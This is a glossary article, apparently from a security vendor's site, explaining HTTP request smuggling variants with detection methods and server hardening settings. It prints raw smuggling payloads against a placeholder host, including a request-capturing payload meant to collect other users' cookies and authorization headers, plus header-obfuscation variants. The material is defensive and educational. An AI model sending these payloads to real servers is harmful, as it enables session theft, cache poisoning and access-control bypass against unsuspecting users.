Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Angriffstechniken Glossary

HTTP Request Smuggling - Desynchronisierung von HTTP-Proxies

HTTP Request Smuggling (CWE-444) is an attack that exploits desynchronization between the front end (reverse proxy, CDN) and the back-end server. Differences in how Content-Length and Transfer-Encoding: chunked are interpreted allow attackers to "smuggle" HTTP requests. Variants: CL.TE (front-end uses Content-Length, back-end uses Transfer-Encoding), TE.CL (reverse), TE.TE (both use TE, but handle them differently). Result: hijacking other users’ requests, bypassing authentication, cache poisoning.

HTTP Request Smuggling is an advanced attack technique that was comprehensively documented in 2019 by James Kettle (PortSwigger). The core principle: If a load balancer and a backend server parse the same request differently, an attacker can "smuggle" a second request into the TCP data stream—which is then processed by the backend as a separate request from another user.

Protocol Basics

HTTP/1.1 Request Length Determination - two methods:

Content-Length (CL):
  POST /search HTTP/1.1
  Content-Length: 11

  q=smuggling
  → Body is exactly 11 bytes long

Transfer-Encoding: chunked (TE):
  POST /search HTTP/1.1
  Transfer-Encoding: chunked

  b          ← Chunk size in hex (11 decimal)
  q=smuggling
  0          ← Termination chunk (empty)
             ← Blank line after the last chunk

RFC 7230: If both headers are present → IGNORE Content-Length!
  → But different implementations handle this DIFFERENTLY!
  → This is the basis for HTTP Request Smuggling

Request pipeline in multi-tier architecture:
  Browser → [Front-end: Load Balancer / CDN / WAF] → [Back-end: App Server]

  Problem:
  → Front-end sees one HTTP request boundary
  → Back-end sees a DIFFERENT HTTP request boundary
  → Difference = "Smuggled Request"

Attack Types: CL.TE, TE.CL, TE.TE

1. CL.TE - Front-End: Content-Length, Back-End: Transfer-Encoding:

   Attacker sends:
   POST / HTTP/1.1
   Host: victim.com
   Content-Length: 13
   Transfer-Encoding: chunked

   0

   SMUGGLED

   Front-End (uses CL=13):
   → Sees: "0\r\n\r\nSMUGGLED" as a request (13 bytes)
   → Forwards the entire request

   Back-End (uses TE):
   → Chunk: "0" = End of request → First request is complete!
   → "SMUGGLED" = Start of the NEXT request!
   → Next user request is appended to "SMUGGLED"

---

2. TE.CL - Front-End: Transfer-Encoding, Back-End: Content-Length:

   POST / HTTP/1.1
   Content-Length: 3
   Transfer-Encoding: chunked

   8
   SMUGGLED
   0


   Front-End (uses TE):
   → Chunk 1: "SMUGGLED" (8 bytes)
   → Termination chunk: "0"
   → A complete request

   Back-end (uses CL=3):
   → Body = "8\r\n" (3 bytes!)
   → Rest ("SMUGGLED\r\n0\r\n\r\n") = Start of the next request!

---

3. TE.TE - Both: Transfer-Encoding, but different handling:

   Transfer-Encoding: chunked
   Transfer-Encoding: cow     ← unknown encoding

   → Front-end recognizes "chunked" and processes TE
   → Back-end recognizes "cow" as unknown → falls back to CL!
   → Result: effectively a TE.CL scenario

   Additional obfuscation variants:
   Transfer-Encoding: xchunked
   Transfer-Encoding :\tchunked    ← Tab before colon
   Transfer-Encoding: chunked
   Transfer-encoding: chunked      ← Lowercase (RFC: Header case-insensitive!)
   X: X[\n]Transfer-Encoding: chunked  ← Header injection

---

4. HTTP/2 Downgrade Smuggling (H2.CL / H2.TE):

   → CDN/front-end accepts HTTP/2 from the client
   → But: Backend only supports HTTP/1.1
   → CDN converts HTTP/2 → HTTP/1.1 (Downgrade!)

   Attacker injects into HTTP/2 request header:
   :method: POST
   :path: /
   :authority: victim.com
   content-length: 0
   transfer-encoding: chunked

   → Front-end ignores TE in HTTP/2 (no Chunked in H2!)
   → Backend receives HTTP/1.1 with BOTH headers → Desynchronization!

Attack Targets and Impact

What is possible with smuggling?

1. HTTP Request Capturing (stealing other users' requests):

   Attacker smuggles:
   POST /comment HTTP/1.1
   Host: victim.com
   Content-Length: 400          ← Large CL = waits for 400 bytes!

   action=store&body;=           ← Request body starts here

   → Next user request is appended (until 400 bytes full!)
   → Attacker reads: Cookie, Authorization header, POST body
   → Victim’s credentials + session token stolen!

2. Privilege escalation via internal redirect:

   Back-end only allows access to /admin from 127.0.0.1:
   Attacker sends:
   GET /admin HTTP/1.1
   Host: localhost

   → Back-end sees request from "localhost" (front-end forwarded it internally!)
   → Admin interface accessible!

3. WAF bypass:

   WAF checks: POST /api/admin HTTP/1.1 → BLOCKED!
   Attacker smuggles admin request as part of an allowed request:
   → WAF sees normal request
   → Back-end server processes the admin endpoint!

4. Cache Poisoning via Smuggling:

   Attacker smuggles in a request whose response is cached:
   GET /static/js/app.js HTTP/1.1

   Cached response contains attacker payload!
   → All subsequent cache requests deliver attacker JS!

5. Response Queue Poisoning (HTTP/2):

   → The attacker sends so many requests that the response queue becomes desynchronized
   → Other users receive incorrect responses
   → Other users’ session data becomes visible!

Detection and Testing

Testing approach (for authorized tests only!):

Burp Suite - HTTP Request Smuggler Extension:
  → Burp App Store: HTTP Request Smuggler
  → Automated: Scan → Issues → HTTP Request Smuggling
  → Manual: Repeater with non-default HTTP/1

Timing-based Detection (CL.TE):
  Step 1 - Normal Request (Baseline):
  POST / HTTP/1.1
  Content-Length: 4
  Transfer-Encoding: chunked

  12ab
  HELLO

  → Normal timeout?

  Step 2 - Test for anomaly:
  POST / HTTP/1.1
  Content-Length: 6
  Transfer-Encoding: chunked

  0

  X

  → If back-end uses TE: waits for 6-byte body (CL)!
  → Response arrives DELAYED → CL.TE confirmed!

Differential Response Analysis:
  → Send two identical requests
  → If the second request returns a different response → "Poisoned buffer"!
  → Proves: the first request left data in the back-end buffer

Important:
  → Test ONLY on your own/authorized target systems!
  → Smuggling can affect other users → Collateral damage possible!
  → Always start with very short/harmless payloads (minimize damage)

Protective Measures

Defense Strategies:

1. Use HTTP/2 end-to-end (no downgrade conversion):
   → Both front-end and back-end use HTTP/2 → no downgrade smuggling
   → HTTP/2 has a clear frame-based protocol (no CL/TE conflict!)

2. Front-end: Enforce request normalization:
   HAProxy:
   option http-server-close
   option forwardfor
   # Normalizes CL/TE before forwarding

   Nginx:
   proxy_http_version 1.1;          # HTTP/1.1 for upstream
   proxy_set_header Connection "";   # Prevents connection reuse

3. Reject ambiguous requests (both present → error):
   → If BOTH Content-Length AND Transfer-Encoding are present → return 400
   → RFC-compliant behavior: ignore Content-Length in case of conflict (HTTP/1.1)

4. Back-end server configuration:
   Apache: RejectOverlappingHeaders On (from 2.4.55)
   IIS: Directly affected by CL.TE → Update to the latest version!
   Tomcat: rejectIllegalHeader=true in server.xml

5. Monitoring:
   □ HTTP 400 errors are increasing: possibly smuggling tests
   □ Unusual chunked encoding requests to static endpoints
   □ Log and alert on requests with both CL and TE

6. WAF rules (as a supplement, not a replacement!):
   → Reject requests with both headers (CL + TE)
   → Detect Transfer-Encoding obfuscation (tab, space)
   → Block TE headers with unknown values